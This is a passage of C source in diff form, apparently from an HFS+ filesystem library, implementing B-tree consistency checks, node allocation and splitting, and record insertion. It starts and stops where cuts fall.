if(descriptor->kind == kBTIndexNode) { + if(displayTree) + printf("Index %d: %d", nodeNum, descriptor->numRecords); + + } else { + printf("BTREE CONSISTENCY ERROR: Unexpected node %d has kind %d\n", nodeNum, descriptor->kind); fflush(stdout); + (*errCount)++; + } + + if(displayTree) { + printf("\n"); fflush(stdout); + } + + if((map[nodeNum / 8] & (1 << (7 - (nodeNum % 8)))) == 0) { + printf("BTREE CONSISTENCY ERROR: Node %d not marked allocated\n", nodeNum); fflush(stdout); + (*errCount)++; + } + + if(nodeNum == tree->headerRec->rootNode) { + if(descriptor->height != tree->headerRec->treeDepth) { + printf("BTREE CONSISTENCY ERROR: Root node %d (%d) does not have the proper height (%d)\n", nodeNum, + descriptor->height, tree->headerRec->treeDepth); fflush(stdout); + (*errCount)++; + } + } else { + if(descriptor->height != (parentHeight - 1)) { + printf("BTREE CONSISTENCY ERROR: Node %d does not have the proper height\n", nodeNum); fflush(stdout); + (*errCount)++; + } + } + + /*if(descriptor->kind == kBTIndexNode && descriptor->numRecords < 2) { + printf("BTREE CONSISTENCY ERROR: Node %d does not have at least two children\n", nodeNum); + (*errCount)++; + }*/ + + heightTable[descriptor->height] = nodeNum; + lastrecordDataOffset = 0; + + for(i = 0; i < descriptor->numRecords; i++) { + recordOffset = getRecordOffset(i, nodeNum, tree); + key = READ_KEY(tree, recordOffset, tree->io); + recordDataOffset = recordOffset + key->keyLength + sizeof(key->keyLength); + + if((recordDataOffset - (nodeNum * tree->headerRec->nodeSize)) > (tree->headerRec->nodeSize - (sizeof(uint16_t) * (descriptor->numRecords + 1)))) { + printf("BTREE CONSISTENCY ERROR: Record data extends past offsets in node %d record %d\n", nodeNum, i); fflush(stdout); + (*errCount)++; + } + + if(i == 0) { + *firstKey = READ_KEY(tree, recordOffset, tree->io); + } + + if(i == (descriptor->numRecords - 1)) { + *lastKey = READ_KEY(tree, recordOffset, tree->io); + } + + if(previousKey != NULL) { + res = COMPARE(tree, key, previousKey); + if(res < 0) { + printf("BTREE CONSISTENCY ERROR(traverse): Ordering between records within node not preserved in record %d node %d for ", i, nodeNum); + (*errCount)++; + tree->keyPrint(previousKey); + printf(" < "); + tree->keyPrint(key); + printf("\n"); fflush(stdout); + } + free(previousKey); + } + + if(displayTree) { + for(j = 0; j < (descriptor->height - 1); j++) { + printf(" "); + } + tree->keyPrint(key); + printf("\n"); + } + + if(descriptor->kind == kBTIndexNode) { + count += traverseNode(getNodeNumberFromPointerRecord(recordDataOffset, tree->io), + tree, map, descriptor->height, &retFirstKey, &retLastKey, heightTable, errCount, displayTree); + + if(COMPARE(tree, retFirstKey, key) != 0) { + printf("BTREE CONSISTENCY ERROR: Index node key does not match first key in record %d node %d\n", i, nodeNum); fflush(stdout); + (*errCount)++; + } + if(COMPARE(tree, retLastKey, key) < 0) { + printf("BTREE CONSISTENCY ERROR: Last key is less than the index node key in record %d node %d\n", i, nodeNum); fflush(stdout); + (*errCount)++; + } + free(retFirstKey); + free(key); + previousKey = retLastKey; + } else { + previousKey = key; + } + + if(recordOffset < lastrecordDataOffset) { + printf("BTREE CONSISTENCY ERROR: Record offsets are not in order in node %d starting at record %d\n", nodeNum, i); fflush(stdout); + (*errCount)++; + } + + lastrecordDataOffset = recordDataOffset; + } + + free(descriptor); + + return count; + +} + +static unsigned char* mapNodes(BTree* tree, uint32_t* numMapNodes, uint32_t* errCount) { + unsigned char *map; + + BTNodeDescriptor* descriptor; + + unsigned char byte; + + uint32_t totalNodes; + uint32_t freeNodes; + + uint32_t byteNumber; + uint32_t byteTracker; + + uint32_t mapNode; + + off_t mapRecordStart; + off_t mapRecordLength; + + int i; + + map = (unsigned char *)malloc(tree->headerRec->totalNodes/8 + 1); + + byteTracker = 0; + freeNodes = 0; + totalNodes = 0; + + mapRecordStart = getRecordOffset(2, 0, tree); + mapRecordLength = tree->headerRec->nodeSize - 256; + byteNumber = 0; + mapNode = 0; + + *numMapNodes = 0; + + while(TRUE) { + while(byteNumber < mapRecordLength) { + READ(tree->io, mapRecordStart + byteNumber, 1, &byte); + map[byteTracker] = byte; + byteTracker++; + byteNumber++; + for(i = 0; i < 8; i++) { + if((byte & (1 << (7 - i))) == 0) { + freeNodes++; + } + totalNodes++; + + if(totalNodes == tree->headerRec->totalNodes) + goto done; + } + } + + descriptor = readBTNodeDescriptor(mapNode, tree); + mapNode = descriptor->fLink; + free(descriptor); + + (*numMapNodes)++; + + if(mapNode == 0) { + printf("BTREE CONSISTENCY ERROR: Not enough map nodes allocated! Allocated for: %d, needed: %d\n", totalNodes, tree->headerRec->totalNodes); + (*errCount)++; + break; + } + + mapRecordStart = mapNode * tree->headerRec->nodeSize + 14; + mapRecordLength = tree->headerRec->nodeSize - 20; + byteNumber = 0; + } + + done: + + if(freeNodes != tree->headerRec->freeNodes) { + printf("BTREE CONSISTENCY ERROR: Free nodes %d differ from actually allocated %d\n", tree->headerRec->freeNodes, freeNodes); + (*errCount)++; + } + + return map; +} + +int debugBTree(BTree* tree, int displayTree) { + unsigned char* map; + uint32_t *heightTable; + BTKey* retFirstKey; + BTKey* retLastKey; + + uint32_t numMapNodes; + uint32_t traverseCount; + uint32_t linearCount; + uint32_t errorCount; + + uint8_t i; + + errorCount = 0; + + printf("Mapping nodes...\n"); fflush(stdout); + map = mapNodes(tree, &numMapNodes, &errorCount); + + printf("Initializing height table...\n"); fflush(stdout); + heightTable = (uint32_t*) malloc(sizeof(uint32_t) * (tree->headerRec->treeDepth + 1)); + for(i = 0; i <= tree->headerRec->treeDepth; i++) { + heightTable[i] = 0; + } + + if(tree->headerRec->rootNode == 0) { + if(tree->headerRec->firstLeafNode == 0 && tree->headerRec->lastLeafNode == 0) { + traverseCount = 0; + linearCount = 0; + } else { + printf("BTREE CONSISTENCY ERROR: First leaf node (%d) and last leaf node (%d) inconsistent with empty BTree\n", + tree->headerRec->firstLeafNode, tree->headerRec->lastLeafNode); + + // Try to see if we can get a linear count + if(tree->headerRec->firstLeafNode != 0) + heightTable[1] = tree->headerRec->firstLeafNode; + else + heightTable[1] = tree->headerRec->lastLeafNode; + + linearCount = linearCheck(heightTable, map, tree, &errorCount); + } + } else { + printf("Performing tree traversal...\n"); fflush(stdout); + traverseCount = traverseNode(tree->headerRec->rootNode, tree, map, 0, &retFirstKey, &retLastKey, heightTable, &errorCount, displayTree); + + printf("Performing linear traversal...\n"); fflush(stdout); + linearCount = linearCheck(heightTable, map, tree, &errorCount); + } + + printf("Total traverse nodes: %d\n", traverseCount); fflush(stdout); + printf("Total linear nodes: %d\n", linearCount); fflush(stdout); + printf("Error count: %d\n", errorCount); fflush(stdout); + + if(traverseCount != linearCount) { + printf("BTREE CONSISTENCY ERROR: Linear count and traverse count are inconsistent\n"); + } + + if(traverseCount != (tree->headerRec->totalNodes - tree->headerRec->freeNodes - numMapNodes - 1)) { + printf("BTREE CONSISTENCY ERROR: Free nodes and total nodes (%d) and traverse count are inconsistent\n", + tree->headerRec->totalNodes - tree->headerRec->freeNodes); + } + + free(heightTable); + free(map); + + return errorCount; +} + +static uint32_t findFree(BTree* tree) { + unsigned char byte; + uint32_t byteNumber; + uint32_t mapNode; + + BTNodeDescriptor* descriptor; + + off_t mapRecordStart; + off_t mapRecordLength; + + int i; + + mapRecordStart = getRecordOffset(2, 0, tree); + mapRecordLength = tree->headerRec->nodeSize - 256; + mapNode = 0; + byteNumber = 0; + + while(TRUE) { + while(byteNumber < mapRecordLength) { + READ(tree->io, mapRecordStart + byteNumber, 1, &byte); + if(byte != 0xFF) { + for(i = 0; i < 8; i++) { + if((byte & (1 << (7 - i))) == 0) { + byte |= (1 << (7 - i)); + tree->headerRec->freeNodes--; + ASSERT(writeBTHeaderRec(tree), "writeBTHeaderRec"); + ASSERT(WRITE(tree->io, mapRecordStart + byteNumber, 1, &byte), "WRITE"); + return ((byteNumber * 8) + i); + } + } + } + byteNumber++; + } + + descriptor = readBTNodeDescriptor(mapNode, tree); + mapNode = descriptor->fLink; + free(descriptor); + + if(mapNode == 0) { + return 0; + } + + mapRecordStart = mapNode * tree->headerRec->nodeSize + 14; + mapRecordLength = tree->headerRec->nodeSize - 20; + byteNumber = 0; + } +} + +static int markUsed(uint32_t node, BTree* tree) { + BTNodeDescriptor* descriptor; + uint32_t mapNode; + uint32_t byteNumber; + + unsigned char byte; + + mapNode = 0; + byteNumber = node / 8; + + if(byteNumber >= (tree->headerRec->nodeSize - 256)) { + while(TRUE) { + descriptor = readBTNodeDescriptor(mapNode, tree); + mapNode = descriptor->fLink; + free(descriptor); + + if(byteNumber > (tree->headerRec->nodeSize - 20)) { + byteNumber -= tree->headerRec->nodeSize - 20; + } else { + break; + } + } + } + + ASSERT(READ(tree->io, mapNode * tree->headerRec->nodeSize + 14 + byteNumber, 1, &byte), "READ"); + byte |= (1 << (7 - (node % 8))); + ASSERT(WRITE(tree->io, mapNode * tree->headerRec->nodeSize + 14 + byteNumber, 1, &byte), "WRITE"); + + return TRUE; +} + +static int growBTree(BTree* tree) { + int i; + unsigned char* buffer; + uint16_t offset; + + uint32_t byteNumber; + uint32_t mapNode; + int increasedNodes; + + off_t newNodeOffset; + uint32_t newNodesStart; + + BTNodeDescriptor* descriptor; + BTNodeDescriptor newDescriptor; + + allocate((RawFile*)(tree->io->data), ((RawFile*)(tree->io->data))->forkData->logicalSize + ((RawFile*)(tree->io->data))->forkData->clumpSize); + increasedNodes = (((RawFile*)(tree->io->data))->forkData->logicalSize/tree->headerRec->nodeSize) - tree->headerRec->totalNodes; + + newNodesStart = tree->headerRec->totalNodes / tree->headerRec->nodeSize; + + tree->headerRec->freeNodes += increasedNodes; + tree->headerRec->totalNodes += increasedNodes; + + byteNumber = tree->headerRec->totalNodes / 8; + mapNode = 0; + + buffer = (unsigned char*) malloc(tree->headerRec->nodeSize - 20); + for(i = 0; i < (tree->headerRec->nodeSize - 20); i++) { + buffer[i] = 0; + } + + if(byteNumber < (tree->headerRec->nodeSize - 256)) { + ASSERT(writeBTHeaderRec(tree), "writeBTHeaderREc"); + return TRUE; + } else { + byteNumber -= tree->headerRec->nodeSize - 256; + + while(TRUE) { + descriptor = readBTNodeDescriptor(mapNode, tree); + + if(descriptor->fLink == 0) { + descriptor->fLink = newNodesStart; + ASSERT(writeBTNodeDescriptor(descriptor, mapNode, tree), "writeBTNodeDescriptor"); + + newDescriptor.fLink = 0; + newDescriptor.bLink = 0; + newDescriptor.kind = kBTMapNode; + newDescriptor.height = 0; + newDescriptor.numRecords = 1; + newDescriptor.reserved = 0; + ASSERT(writeBTNodeDescriptor(&newDescriptor, descriptor->fLink, tree), "writeBTNodeDescriptor"); + + newNodeOffset = descriptor->fLink * tree->headerRec->nodeSize; + + ASSERT(WRITE(tree->io, newNodeOffset + 14, tree->headerRec->nodeSize - 20, buffer), "WRITE"); + offset = 14; + FLIPENDIAN(offset); + ASSERT(WRITE(tree->io, newNodeOffset + tree->headerRec->nodeSize - 2, sizeof(offset), &offset), "WRITE"); + offset = 14 + tree->headerRec->nodeSize - 20; + FLIPENDIAN(offset); + ASSERT(WRITE(tree->io, newNodeOffset + tree->headerRec->nodeSize - 4, sizeof(offset), &offset), "WRITE"); + + // mark the map node as being used + ASSERT(markUsed(newNodesStart, tree), "markUsed"); + tree->headerRec->freeNodes--; + newNodesStart++; + } + mapNode = descriptor->fLink; + + if(byteNumber > (tree->headerRec->nodeSize - 20)) { + byteNumber -= tree->headerRec->nodeSize - 20; + } else { + free(buffer); + + ASSERT(writeBTHeaderRec(tree), "writeBTHeaderRec"); + return TRUE; + } + } + } + + return FALSE; +} + +static uint32_t getNewNode(BTree* tree) { + if(tree->headerRec->freeNodes == 0) { + growBTree(tree); + } + + return findFree(tree); +} + +static uint32_t removeNode(BTree* tree, uint32_t node) { + unsigned char byte; + off_t mapRecordStart; + uint32_t mapNode; + size_t mapRecordLength; + BTNodeDescriptor *descriptor; + BTNodeDescriptor *oDescriptor; + + mapRecordStart = getRecordOffset(2, 0, tree); + mapRecordLength = tree->headerRec->nodeSize - 256; + mapNode = 0; + + while((node / 8) >= mapRecordLength) { + descriptor = readBTNodeDescriptor(mapNode, tree); + mapNode = descriptor->fLink; + free(descriptor); + + if(mapNode == 0) { + hfs_panic("Cannot remove node because I can't map it!"); + return 0; + } + + mapRecordStart = mapNode * tree->headerRec->nodeSize + 14; + mapRecordLength = tree->headerRec->nodeSize - 20; + node -= mapRecordLength * 8; + } + + READ(tree->io, mapRecordStart + (node / 8), 1, &byte); + + byte &= ~(1 << (7 - (node % 8))); + + tree->headerRec->freeNodes++; + + descriptor = readBTNodeDescriptor(node, tree); + + if(tree->headerRec->firstLeafNode == node) { + tree->headerRec->firstLeafNode = descriptor->fLink; + } + + if(tree->headerRec->lastLeafNode == node) { + tree->headerRec->lastLeafNode = descriptor->bLink; + } + + if(node == tree->headerRec->rootNode) { + tree->headerRec->rootNode = 0; + } + + if(descriptor->bLink != 0) { + oDescriptor = readBTNodeDescriptor(descriptor->bLink, tree); + oDescriptor->fLink = descriptor->fLink; + ASSERT(writeBTNodeDescriptor(oDescriptor, descriptor->bLink, tree), "writeBTNodeDescriptor"); + free(oDescriptor); + } + + if(descriptor->fLink != 0) { + oDescriptor = readBTNodeDescriptor(descriptor->fLink, tree); + oDescriptor->bLink = descriptor->bLink; + ASSERT(writeBTNodeDescriptor(oDescriptor, descriptor->fLink, tree), "writeBTNodeDescriptor"); + free(oDescriptor); + } + + free(descriptor); + + ASSERT(WRITE(tree->io, mapRecordStart + (node / 8), 1, &byte), "WRITE"); + ASSERT(writeBTHeaderRec(tree), "writeBTHeaderRec"); + + return TRUE; +} + +static uint32_t splitNode(uint32_t node, BTNodeDescriptor* descriptor, BTree* tree) { + int nodesToMove; + + int i; + off_t internalOffset; + + BTNodeDescriptor* fDescriptor; + + BTNodeDescriptor newDescriptor; + uint32_t newNodeNum; + off_t newNodeOffset; + + off_t toMove; + size_t toMoveLength; + unsigned char *buffer; + + off_t offsetsToMove; + size_t offsetsToMoveLength; + uint16_t *offsetsBuffer; + + nodesToMove = descriptor->numRecords - (descriptor->numRecords/2); + + toMove = getRecordOffset(descriptor->numRecords/2, node, tree); + toMoveLength = getRecordOffset(descriptor->numRecords, node, tree) - toMove; + buffer = (unsigned char *)malloc(toMoveLength); + ASSERT(READ(tree->io, toMove, toMoveLength, buffer), "READ"); + + offsetsToMove = (node * tree->headerRec->nodeSize) + tree->headerRec->nodeSize - (sizeof(uint16_t) * (descriptor->numRecords + 1)); + offsetsToMoveLength = sizeof(uint16_t) * (nodesToMove + 1); + offsetsBuffer = (uint16_t *)malloc(offsetsToMoveLength); + ASSERT(READ(tree->io, offsetsToMove, offsetsToMoveLength, offsetsBuffer), "READ"); + + for(i = 0; i < (nodesToMove + 1); i++) { + FLIPENDIAN(offsetsBuffer[i]); + } + + internalOffset = offsetsBuffer[nodesToMove] - 14; + + for(i = 0; i < (nodesToMove + 1); i++) { + offsetsBuffer[i] -= internalOffset; + FLIPENDIAN(offsetsBuffer[i]); + } + + newNodeNum = getNewNode(tree); + newNodeOffset = newNodeNum * tree->headerRec->nodeSize; + + newDescriptor.fLink = descriptor->fLink; + newDescriptor.bLink = node; + newDescriptor.kind = descriptor->kind; + newDescriptor.height = descriptor->height; + newDescriptor.numRecords = nodesToMove; + newDescriptor.reserved = 0; + ASSERT(writeBTNodeDescriptor(&newDescriptor, newNodeNum, tree), "writeBTNodeDescriptor"); + + if(newDescriptor.fLink != 0) { + fDescriptor = readBTNodeDescriptor(newDescriptor.fLink, tree); + fDescriptor->bLink = newNodeNum; + ASSERT(writeBTNodeDescriptor(fDescriptor, newDescriptor.fLink, tree), "writeBTNodeDescriptor"); + free(fDescriptor); + } + + descriptor->fLink = newNodeNum; + descriptor->numRecords = descriptor->numRecords/2; + ASSERT(writeBTNodeDescriptor(descriptor, node, tree), "writeBTNodeDescriptor"); + + ASSERT(WRITE(tree->io, newNodeOffset + 14, toMoveLength, buffer), "WRITE"); + ASSERT(WRITE(tree->io, newNodeOffset + tree->headerRec->nodeSize - (sizeof(uint16_t) * (nodesToMove + 1)), offsetsToMoveLength, offsetsBuffer), "WRITE"); + + // The offset for the existing descriptor's new numRecords will happen to be where the old data was, which is now where the free space starts + // So we don't have to manually set the free space offset + + free(buffer); + free(offsetsBuffer); + + if(descriptor->kind == kBTLeafNode && node == tree->headerRec->lastLeafNode) { + tree->headerRec->lastLeafNode = newNodeNum; + ASSERT(writeBTHeaderRec(tree), "writeBTHeaderRec"); + } + + return newNodeNum; +} + +static int moveRecordsDown(BTree* tree, BTNodeDescriptor* descriptor, int record, uint32_t node, int length, int moveOffsets) { + off_t firstRecordStart; + off_t lastRecordEnd; + unsigned char* records; + + off_t firstOffsetStart; + off_t lastOffsetEnd; + uint16_t* offsets; + + int i; + + firstRecordStart = getRecordOffset(record, node, tree); + lastRecordEnd = getRecordOffset(descriptor->numRecords, node, tree); + + records = (unsigned char*)malloc(lastRecordEnd - firstRecordStart); + + ASSERT(READ(tree->io, firstRecordStart, lastRecordEnd - firstRecordStart, records), "READ"); + firstOffsetStart = (node * tree->headerRec->nodeSize) + tree->headerRec->nodeSize - (sizeof(uint16_t) * (descriptor->numRecords + 1)); + lastOffsetEnd = (node * tree->headerRec->nodeSize) + tree->headerRec->nodeSize - (sizeof(uint16_t) * record); + + offsets = (uint16_t*)malloc(lastOffsetEnd - firstOffsetStart); + ASSERT(READ(tree->io, firstOffsetStart, lastOffsetEnd - firstOffsetStart, offsets), "READ"); + + for(i = 0; i < (lastOffsetEnd - firstOffsetStart)/sizeof(uint16_t); i++) { + FLIPENDIAN(offsets[i]); + offsets[i] += length; + FLIPENDIAN(offsets[i]); + } + + ASSERT(WRITE(tree->io, firstRecordStart + length, lastRecordEnd - firstRecordStart, records), "WRITE"); + + if(moveOffsets > 0) { + ASSERT(WRITE(tree->io, firstOffsetStart - sizeof(uint16_t), lastOffsetEnd - firstOffsetStart, offsets), "WRITE"); + } else if(moveOffsets < 0) { + ASSERT(WRITE(tree->io, firstOffsetStart + sizeof(uint16_t), lastOffsetEnd - firstOffsetStart, offsets), "WRITE"); + } else { + ASSERT(WRITE(tree->io, firstOffsetStart, lastOffsetEnd - firstOffsetStart, offsets), "WRITE"); + } + + free(records); + free(offsets); + + return TRUE; +} + +static int doAddRecord(BTree* tree, uint32_t root, BTKey* searchKey, size_t length, unsigned char* content) { + BTNodeDescriptor* descriptor; + BTKey* key; + off_t recordOffset; + off_t recordDataOffset; + off_t lastRecordDataOffset; + + uint16_t offset; + + int res; + int i; + + descriptor = readBTNodeDescriptor(root, tree); + + if(descriptor == NULL) + return FALSE; + + lastRecordDataOffset = 0; + + for(i = 0; i < descriptor->numRecords; i++) { + recordOffset = getRecordOffset(i, root, tree); + key = READ_KEY(tree, recordOffset, tree->io); + recordDataOffset = recordOffset + key->keyLength + sizeof(key->keyLength); + + res = COMPARE(tree, key, searchKey); + if(res == 0) { + free(key); + free(descriptor); + + return FALSE; + } else if(res > 0) { + free(key); + + break; + } + + free(key); + + lastRecordDataOffset = recordDataOffset; + } + + if(i != descriptor->numRecords) { + // first, move everyone else down + + moveRecordsDown(tree, descriptor, i, root, sizeof(searchKey->keyLength) + searchKey->keyLength + length, 1); + + // then insert ourself + ASSERT(WRITE_KEY(tree, recordOffset, searchKey, tree->io), "WRITE_KEY"); + ASSERT(WRITE(tree->io, recordOffset + sizeof(searchKey->keyLength) + searchKey->keyLength, length, content), "WRITE"); + + offset = recordOffset - (root * tree->headerRec->nodeSize); + FLIPENDIAN(offset); + ASSERT(WRITE(tree->io, (root * tree->headerRec->nodeSize) + tree->headerRec->nodeSize - (sizeof(uint16_t) * (i + 1)), + sizeof(uint16_t), &offset), "WRITE"); + } else { + // just insert ourself at the end + recordOffset = getRecordOffset(i, root, tree); + ASSERT(WRITE_KEY(tree, recordOffset, searchKey, tree->io), "WRITE_KEY"); + ASSERT(WRITE(tree->io, recordOffset + sizeof(uint16_t) + searchKey->keyLength, length, content), "WRITE"); + + // write the new free offset + offset = (recordOffset + sizeof(searchKey->keyLength) + searchKey->keyLength + length) - (root * tree->headerRec->nodeSize); + FLIPENDIAN(offset); + ASSERT(WRITE(tree->io, (root * tree->headerRec->nodeSize) + tree->headerRec->nodeSize - (sizeof(uint16_t) * (descriptor->numRecords + 2)), + sizeof(uint16_t), &offset), "WRITE"); + } + + descriptor->numRecords++; + + if(descriptor->height == 1) { + tree->headerRec->leafRecords++; + } + + ASSERT(writeBTNodeDescriptor(descriptor, root, tree), "writeBTNodeDescriptor"); + ASSERT(writeBTHeaderRec(tree), "writeBTHeaderRec"); + + free(descriptor); + return TRUE; +} + +static int addRecord(BTree* tree, uint32_t root, BTKey* searchKey, size_t length, unsigned char* content, int* callAgain) { + BTNodeDescriptor* descriptor; + BTKey* key; + off_t recordOffset; + off_t recordDataOffset; + off_t lastRecordDataOffset; + + size_t freeSpace; + + int res; + int i; + + uint32_t newNode; + uint32_t newNodeBigEndian; + + uint32_t nodeBigEndian; + + descriptor = readBTNodeDescriptor(root, tree); + + if(descriptor == NULL) + return 0; + + freeSpace = getFreeSpace(root, descriptor, tree); + + lastRecordDataOffset = 0; + + for(i = 0; i < descriptor->numRecords; i++) { + recordOffset = getRecordOffset(i, root, tree); + key = READ_KEY(tree, recordOffset, tree->io); + recordDataOffset = recordOffset + key->keyLength + sizeof(key->keyLength); + + res = COMPARE(tree, key, searchKey); + if(res == 0) { + free(key); + free(descriptor); + + return 0; + } else if(res > 0) { + free(key); + + break; + } + + free(key); + + lastRecordDataOffset = recordDataOffset; + } + + if(descriptor->kind == kBTLeafNode) { + if(freeSpace < (sizeof(searchKey->keyLength) + searchKey->keyLength + length + sizeof(uint16_t))) { + newNode = splitNode(root, descriptor, tree); + if(i < descriptor->numRecords) { + doAddRecord(tree, root, searchKey, length, content); + } else { + doAddRecord(tree, newNode, searchKey, length, content); + } + + free(descriptor); + return newNode; + } else { + doAddRecord(tree, root, searchKey, length, content); + + free(descriptor); + return 0; + } + } else { + if(lastRecordDataOffset == 0) { + if(descriptor->numRecords == 0) { + hfs_panic("empty index node in btree"); + return 0; + } + + key = READ_KEY(tree, (root * tree->headerRec->nodeSize) + 14, tree->io); + + recordDataOffset = recordOffset + key->keyLength + sizeof(key->keyLength); + nodeBigEndian = getNodeNumberFromPointerRecord(recordDataOffset, tree->io); + + FLIPENDIAN(nodeBigEndian); + + free(key); + key = READ_KEY(tree, (root * tree->headerRec->nodeSize) + 14, tree->io); + recordDataOffset = recordOffset + key->keyLength + sizeof(key->keyLength); + + if(searchKey->keyLength != key->keyLength) { + if(searchKey->keyLength > key->keyLength && freeSpace < (searchKey->keyLength - key->keyLength)) { + // very unlikely. We need to split this node before we can resize the key of this index. Do that first, and tell them to call again. + *callAgain = TRUE; + return splitNode(root, descriptor, tree); + } + + moveRecordsDown(tree, descriptor, 1, root, searchKey->keyLength - key->keyLength, 0); + } + + free(key); + + ASSERT(WRITE_KEY(tree, recordOffset, searchKey, tree->io), "WRITE_KEY"); + ASSERT(WRITE(tree->io, recordOffset + sizeof(uint16_t) + searchKey->keyLength, sizeof(uint32_t), &nodeBigEndian), "WRITE"); + + FLIPENDIAN(nodeBigEndian); + + newNode = addRecord(tree, nodeBigEndian, searchKey, length, content, callAgain); + } else { + newNode = addRecord(tree, getNodeNumberFromPointerRecord(lastRecordDataOffset, tree->io), searchKey, length, content, callAgain); + } + + if(newNode == 0) { + free(descriptor); + return 0; + } else { + newNodeBigEndian = newNode; + key = READ_KEY(tree, newNode * tree->headerRec->nodeSize + 14, tree->io); + FLIPENDIAN(newNodeBigEndian); + + if(freeSpace < (sizeof(key->keyLength) + key->keyLength + sizeof(newNodeBigEndian) + sizeof(uint16_t))) { + newNode = splitNode(root, descriptor, tree); + + if(i < descriptor->numRecords) { + doAddRecord(tree, root, key, sizeof(newNodeBigEndian), (unsigned char*)(&newNodeBigEndian)); + } else { + doAddRecord(tree, newNode, key, sizeof(newNodeBigEndian), (unsigned char*)(&newNodeBigEndian)); + } + + free(key); + free(descriptor); + return newNode; + } else { + doAddRecord(tree, root, key, sizeof(newNodeBigEndian), (unsigned char*)(&newNodeBigEndian)); + + free(key); + free(descriptor); + return 0; + } + } + } +} + +static int increaseHeight(BTree* tree, uint32_t newNode) { + uint32_t oldRoot; + uint32_t newRoot; + BTNodeDescriptor newDescriptor; + + BTKey* oldRootKey; + BTKey* newNodeKey; + + uint16_t oldRootOffset; + uint16_t newNodeOffset; + uint16_t freeOffset; + + oldRoot = tree->headerRec->rootNode; + + oldRootKey = READ_KEY(tree, (oldRoot * tree->headerRec->nodeSize) + 14, tree->io); + newNodeKey = READ_KEY(tree, (newNode * tree->headerRec->nodeSize) + 14, tree->io); + + newRoot = getNewNode(tree); + + newDescriptor.fLink = 0; + newDescriptor.bLink = 0; + newDescriptor.kind = kBTIndexNode; + newDescriptor.height = tree->headerRec->treeDepth + 1; + newDescriptor.numRecords = 2; + newDescriptor.reserved = 0; + + oldRootOffset = 14; + newNodeOffset = oldRootOffset + sizeof(oldRootKey->keyLength) + oldRootKey->keyLength + sizeof(uint32_t); + freeOffset = newNodeOffset + sizeof(newNodeKey->keyLength) + newNodeKey->keyLength + sizeof(uint32_t); + + tree->headerRec->rootNode = newRoot; + tree->headerRec->treeDepth = newDescriptor.height; + + ASSERT(WRITE_KEY(tree, newRoot * tree->headerRec->nodeSize + oldRootOffset, oldRootKey, tree->io), "WRITE_KEY"); + FLIPENDIAN(oldRoot); + ASSERT(WRITE(tree->io, newRoot * tree->headerRec->nodeSize + oldRootOffset + sizeof(oldRootKey->keyLength) + oldRootKey->keyLength, + sizeof(uint32_t), &oldRoot), "WRITE"); + + ASSERT(WRITE_KEY(tree, newRoot * tree->headerRec->nodeSize + newNodeOffset, newNodeKey, tree->io), "WRITE_KEY"); + FLIPENDIAN(newNode); + ASSERT(WRITE(tree->io, newRoot * tree->headerRec->nodeSize + newNodeOffset + sizeof(newNodeKey->keyLength) + newNodeKey->keyLength, + sizeof(uint32_t), &newNode), "WRITE"); + + FLIPENDIAN(oldRootOffset); + ASSERT(WRITE(tree->io, (newRoot * tree->headerRec->nodeSize) + tree->headerRec->nodeSize - (sizeof(uint16_t) * 1), + sizeof(uint16_t), &oldRootOffset), "WRITE"); + + FLIPENDIAN(newNodeOffset); + ASSERT(WRITE(tree->io, (newRoot * tree->headerRec->nodeSize) + tree->headerRec->nodeSize - (sizeof(uint16_t) * 2), + sizeof(uint16_t), &newNodeOffset), "WRITE"); + + FLIPENDIAN(freeOffset); + ASSERT(WRITE(tree->io, (newRoot * tree->headerRec->nodeSize) + tree->headerRec->nodeSize - (sizeof(uint16_t) * 3), + sizeof(uint16_t), &freeOffset), "WRITE"); + + ASSERT(writeBTNodeDescriptor(&newDescriptor, tree->headerRec->rootNode, tree), "writeBTNodeDescriptor"); + ASSERT(writeBTHeaderRec(tree), "writeBTHeaderRec"); + + return TRUE; +} + +int addToBTree(BTree* tree, BTKey* searchKey, size_t length, unsigned char* content) { + int callAgain; + BTNodeDescriptor newDescriptor; + uint16_t offset; + uint16_t freeOffset; + uint32_t newNode; + + if(tree->headerRec->rootNode != 0) { + do { + callAgain = FALSE; + newNode = addRecord(tree, tree->headerRec->rootNode, searchKey, length, content, &callAgain); + if(newNode != 0) { + increaseHeight(tree, newNode); + } + } while(callAgain); + } else { + // add the first leaf node + tree->headerRec->rootNode = getNewNode(tree); + tree->headerRec->firstLeafNode = tree->headerRec->rootNode; + tree->headerRec->lastLeafNode = tree->headerRec->rootNode; + tree->headerRec->leafRecords = 1; + tree->headerRec->treeDepth = 1; + + newDescriptor.fLink = 0; + newDescriptor.bLink = 0; + newDescriptor.kind = kBTLeafNode; + newDescriptor.height = 1; + newDescriptor.numRecords = 1; + newDescriptor.reserved = 0; + + offset = 14; + freeOffset = offset + sizeof(searchKey->keyLength) + searchKey->keyLength + length; + + ASSERT(WRITE_KEY(tree, tree->headerRec->rootNode * tree->headerRec->nodeSize + offset, searchKey, tree->io), "WRITE_KEY"); + ASSERT(WRITE(tree->io, tree->headerRec->rootNode * tree->headerRec->nodeSize + offset + sizeof(searchKey->keyLength) + searchKey->keyLength, + length, content), "WRITE"); + + FLIPENDIAN(offset); + ASSERT(WRITE(tree->io, (tree->headerRec->rootNode * tree->headerRec->nodeSize) + tree->headerRec->nodeSize - (sizeof(uint16_t) * 1), + sizeof(uint16_t), &offset), "WRITE"); + + FLIPENDIAN(freeOffset); + ASSERT(WRITE(tree->io, (tree->headerRec->rootNode * tree->headerRec->nodeSize) + tree->headerRec->nodeSize - (sizeof(uint16_t) * 2), + sizeof(uint16_t), &freeOffset), "WRITE"); + + ASSERT(writeBTNodeDescriptor(&newDescriptor, tree->headerRec->rootNode, tree), "writeBTNodeDescriptor"); + ASSERT(writeBTHeaderRec(tree), "writeBTHeaderRec"); + } + + return TRUE; +} + +static uint32_t removeRecord(BTree* tree, uint32_t root, BTKey* searchKey, int* callAgain, int* gone) { + BTNodeDescriptor* descriptor; + int length; + int i; + int res; + + uint32_t newNode; + uint32_t nodeToTraverse; + uint32_t newNodeBigEndian; + + BTKey* key; + off_t recordOffset; + off_t recordDataOffset; + off_t lastRecordDataOffset; + + int childGone; + int checkForChangedKey ; + + size_t freeSpace; + + descriptor = readBTNodeDescriptor(root, tree); + + freeSpace = getFreeSpace(root, descriptor, tree); + + nodeToTraverse = 0; + lastRecordDataOffset = 0; + newNode = 0; + + (*gone) = FALSE; + checkForChangedKey = FALSE; + + for(i = 0; i < descriptor->numRecords; i++) { + recordOffset = getRecordOffset(i, root, tree); + key = READ_KEY(tree, recordOffset, tree->io); + recordDataOffset = recordOffset + key->keyLength + sizeof(key->keyLength); + + res = COMPARE(tree, key, searchKey); + if(res == 